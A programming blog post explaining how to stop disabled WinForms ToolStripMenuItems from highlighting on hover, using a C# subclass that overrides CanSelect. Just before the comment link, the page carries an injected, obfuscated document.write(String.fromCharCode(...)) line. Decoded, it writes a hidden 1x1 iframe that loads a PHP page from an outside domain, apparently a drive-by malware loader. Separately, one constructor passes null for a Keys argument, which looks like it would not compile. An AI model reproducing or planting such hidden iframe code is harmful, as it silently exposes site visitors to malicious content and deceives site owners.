The

The notorious and famous ToolStripMenuItem class. Although it looks great in a strip it does not always behave like you think it should. It has somewhat a mind of it’s own.

The annoying thing with this class is that even when the ToolStripMenuItem is disabled, it still light’s up when you hover your mouse over it. I searched high and low and was affraid I had to pull of some black magic to get it to behave to my whishes but fortunately there is an easier (and much prettier) way:

[csharp]public class ProperMenuItem : ToolStripMenuItem
{
public ProperMenuItem(string text, Image image, EventHandler onClick)
: this(text, image, onClick, null)
{
}

public ProperMenuItem(string text, Image image, EventHandler onClick, Keys shortcutKeys)
: base(text, image, onClick, shortcutKeys)
{
}

public override bool CanSelect
{
// without this line the items still receive
// focus even though they are clearly disabled
get { return this.Enabled; }
}
}[/csharp]

I assumed more people must have wandered into this but all I found was a lone cry for help without any responses. So I wrestled with this class for a few hours (yes, pathetic, I know) and finally (by trial and error really) found an acceptable solution.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment